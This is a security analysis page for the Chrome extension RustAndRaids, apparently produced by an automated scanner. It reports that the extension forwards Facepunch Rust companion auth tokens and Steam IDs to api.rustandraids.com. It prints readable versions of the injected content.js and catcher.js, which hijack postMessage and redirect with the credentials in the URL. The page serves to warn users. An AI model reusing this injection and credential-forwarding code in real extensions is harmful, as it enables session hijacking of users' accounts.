Is RustAndRaids safe?

High risk

RustAndRaids forwards Facepunch Rust companion auth tokens and Steam IDs to api.rustandraids.com.

On Facepunch Rust companion pages, RustAndRaids injects a page shim that intercepts ReactNativeWebView messages containing the auth token and Steam ID. It appends those values to a steam-login URL and redirects the page to api.rustandraids.com.

andrejposad2v1.0.4Chrome Web Store
72Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

RustAndRaids forwards Facepunch auth tokens to its API

On the Facepunch Rust companion page, RustAndRaids injects a script replacing postMessage.

On login, it reads the Facepunch auth token and Steam ID and redirects to api.rustandraids.com/auth/steam-login with both in the URL.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Dynamic sandbox
What actually happens
You did this

You use the Facepunch Rust companion login page while the extension is installed.

The manifest limits this content script to companion-rust.facepunch.com and rustandraids.com.

The extension did this

The extension adds a page script that reads the login message and sends its auth fields to RustAndRaids.

The script assigns window.location.href to the RustAndRaids API URL after appending the token and Steam ID.

Fields the injected page script forwards
  • Facepunch auth token
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI3NjU2MTE5ODAxMjM0NTY3OCJ9.e1m0cK8Yp7m3w9AqR4D6n2B5tV8sX0LzCf2Hg9Qw (illustrative)

    This can represent your authenticated Rust companion session when the page provides it to the message handler.

  • Steam ID
    76561198012345678 (illustrative)

    This ties the forwarded login token to your Steam account identity.

Captured request
GEThttps://api.rustandraids.com/auth/steam-login

The constructed navigation appends token and steamId as query parameters; no request body is used for this GET.

The code that does this

The injected script reads the companion message and redirects with credentials

Readable version

Readable equivalent of the content script

content.js
if (location.href.indexOf('companion-rust') > -1) {  const inject = document.createElement('script');  inject.src = chrome.runtime.getURL('catcher.js');  inject.onload = function() {    this.remove();  };  (document.head || document.documentElement).appendChild(inject);  const button = document.querySelector('button > span');  button.innerHTML = 'Login to RustAndRaids';} else {  const el = document.createElement('meta');  el.setAttribute('name', 'has_extension');  document.head.append(el);}

Readable equivalent of the credential-forwarding shim

catcher.js
setInterval(() => {  if (window.ReactNativeWebView === undefined) {    window.ReactNativeWebView = {      postMessage: function(message) {        const auth = JSON.parse(message);        const url = new URL("https://api.rustandraids.com/auth/steam-login");        url.searchParams.append("token", auth.Token);        url.searchParams.append("steamId", auth.SteamId);        window.location.href = url.toString();      },    };  }}, 500);
External host receiving the forwarded login parameters
    • api.rustandraids.com

    Receives the /auth/steam-login request with token and steamId query parameters constructed by catcher.js.

Where it sends data

Destinations our analysis observed RustAndRaids contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.rustandraids.com

    RustAndRaids sends data to api.rustandraids.com. No other extension we have analysed sends data here.

Updated 30 September 2026aohbpoeolbfmfgdddameppmlcicfhihm